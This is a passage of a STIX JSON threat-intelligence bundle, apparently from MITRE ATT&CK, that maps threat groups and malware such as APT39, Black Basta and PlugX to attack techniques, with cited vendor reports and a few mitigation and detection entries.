2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6b9c3bc4-8805-4074-9a0c-ef3d4c69656c","created":"2024-03-29T18:12:36.717Z","revoked":false,"external_references":[{"source_name":"FBI FLASH APT39 September 2020","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T18:12:36.717Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has utilized AutoIt malware scripts embedded in Microsoft Office documents or malicious links.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b9cb729-6a81-4ec2-91c1-7141f8691ee4","type":"relationship","created":"2021-10-14T22:21:20.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}],"modified":"2021-10-14T22:21:20.846Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) can upload data and files from a victim's machine.(Citation: TrendMicro Taidoor)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b9d6a84-b73e-4fb3-ad86-64b5832056d4","type":"relationship","created":"2021-07-02T14:39:07.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T14:39:07.843Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use a file exfiltration tool to copy files to C:\\ProgramData\\Adobe\\temp prior to exfiltration.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b9e7925-876a-49b1-8b42-e789401f2fad","type":"relationship","created":"2020-02-25T19:17:33.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:24:39.528Z","description":"Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ba11730-a404-4252-aefe-acbf71877b0c","type":"relationship","created":"2022-01-20T14:57:42.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"modified":"2022-01-20T14:57:42.113Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has attempted to discover services for third party EDR products.(Citation: CrowdStrike AQUATIC PANDA December 2021)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6baa6db4-7ecc-4e98-83cc-5e38c95917f1","created":"2024-07-17T20:07:30.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-12T18:16:31.702Z","description":"[Pikabot Distribution February 2024](https://attack.mitre.org/campaigns/C0036) utilized a tampered legitimate executable, `grepWinNP3.exe`, for its first stage [Pikabot](https://attack.mitre.org/software/S1145) loader, modifying the open-source tool to execute malicious code when launched.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--81e89fb4-8d07-4d8a-82f4-bf084f9d5d53","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6bae365a-4424-4365-a441-dff2b7993250","type":"relationship","created":"2020-02-18T18:22:41.699Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-18T18:22:41.699Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6bb9972b-cec8-4de0-966e-8fea90b4941c","created":"2020-05-14T22:29:26.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:14:43.751Z","description":"Configuration data used by [Rising Sun](https://attack.mitre.org/software/S0448) has been encrypted using an RC4 stream algorithm.(Citation: McAfee Sharpshooter December 2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6bbb4292-0496-412d-8277-af752703c46a","created":"2024-06-10T21:02:26.119Z","revoked":false,"external_references":[{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T21:02:26.119Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has run a file encryption executable via `Service Control Manager/7045;winupd,%SystemRoot%\\winupd.exe,user mode service,demand start,LocalSystem`.(Citation: Huntress INC Ransom Group August 2023)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6bbc5e8e-647a-41ba-bda2-e682d955d92c","created":"2023-12-18T20:31:54.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"},{"source_name":"Trend Micro Cheerscrypt May 2022","description":"Dela Cruz, A. et al. (2022, May 25). New Linux-Based Ransomware Cheerscrypt Targeting ESXi Devices Linked to Leaked Babuk Source Code. Retrieved December 19, 2023.","url":"https://www.trendmicro.com/en_se/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-21T20:34:21.688Z","description":"(Citation: Sygnia Emperor Dragonfly October 2022)(Citation: Trend Micro Cheerscrypt May 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"malware--5d3fa1db-5041-4560-b87b-8f61cc225c52","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6bbd0299-4e8b-4d31-83c4-c690e43294c0","type":"relationship","created":"2021-10-15T18:47:18.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cado Security TeamTNT Worm August 2020","url":"https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/","description":"Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021."},{"source_name":"Trend Micro TeamTNT","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021."}],"modified":"2021-10-15T18:47:18.472Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has searched for unsecured SSH keys.(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Trend Micro TeamTNT)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6bbf2f6b-de27-435b-bf3e-bc991a25e561","created":"2024-02-07T18:42:09.845Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-07T18:42:09.845Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) is installed following exploitation of a vulnerable FortiGate device. (Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6bc08584-0dc8-494f-967f-50adc9464843","created":"2023-03-13T20:18:35.160Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T20:24:58.636Z","description":"The [Black Basta](https://attack.mitre.org/software/S1070) dropper can check system flags, CPU registers, CPU instructions, process timing, system libraries, and APIs to determine if a debugger is present.(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6bc33571-c702-4fcc-9f1c-b87d5a842586","created":"2020-08-31T14:56:42.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.729Z","description":"[Valak](https://attack.mitre.org/software/S0476) can execute tasks via OLE.(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6bc7c37c-ce58-4613-9401-e2f3f45f30fa","type":"relationship","created":"2020-03-02T14:19:22.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}],"modified":"2022-03-25T19:01:04.734Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6bca8252-8339-470b-a994-519eee5ea3ec","created":"2023-03-22T03:35:45.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.926Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has used Base64 to encode PowerShell commands.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6be48603-8603-45dd-8423-294169ca45a6","type":"relationship","created":"2020-09-25T15:49:09.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-10-05T20:59:07.461Z","description":"[Valak](https://attack.mitre.org/software/S0476) can execute JavaScript containing configuration data for establishing persistence.(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6be9fb86-54b4-4979-95f8-c2a27cba785c","created":"2022-01-11T14:58:01.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.926Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has used a DGA to generate a domain name for C2.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6beb1553-aece-41eb-a1e7-dbe2738f23d6","type":"relationship","created":"2020-09-30T14:23:17.134Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:23:17.134Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can gain persistence through use of scheduled tasks.(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6bed87bb-2cb9-48a8-a23d-31ed8285c61f","type":"relationship","created":"2019-01-30T17:33:41.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"}],"modified":"2019-06-28T15:30:58.764Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to check running processes against a hard-coded list of security tools often used by malware researchers.(Citation: Securelist MuddyWater Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6bf03275-b5bb-4c67-b3a6-5a4642d763e6","type":"relationship","created":"2020-10-20T15:50:00.654Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:05:42.017Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6bf29e21-1e2a-46fe-89cd-ca5dc863dd0c","created":"2023-09-30T22:14:45.861Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T22:14:45.861Z","description":"Monitor for access to system and service log files, especially from unexpected and abnormal users.","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6bf3a83b-d66d-4b6a-972c-c348686ebecb","type":"relationship","created":"2020-06-26T16:17:18.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:56.052Z","description":"[Goopy](https://attack.mitre.org/software/S0477)'s decrypter have been inflated with junk code in between legitimate API functions, and also included infinite loops to avoid analysis.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6bf4098c-7667-44df-bdaa-076b9099f851","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:57:20.596Z","description":"[PlugX](https://attack.mitre.org/software/S0013) can be configured to use HTTP for command and control.(Citation: Dell TG-3390)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6bfbee18-c771-4260-b460-8058dbc5c08a","created":"2022-06-03T14:42:14.556Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) can download additional files to a targeted system.(Citation: SecureWorks August 2019)","modified":"2022-06-03T14:42:14.556Z","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6c0510e4-a642-4dfe-9632-dff6f97e09de","created":"2022-04-16T01:34:10.075Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can masquerade the output of C2 commands as a fake, but legitimately formatted WebP file.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-16T01:34:10.075Z","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c053469-7bd4-4b55-90b2-289a09aa53fa","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.313Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used net time to check the local time on a target system.(Citation: Secureworks BRONZE BUTLER Oct 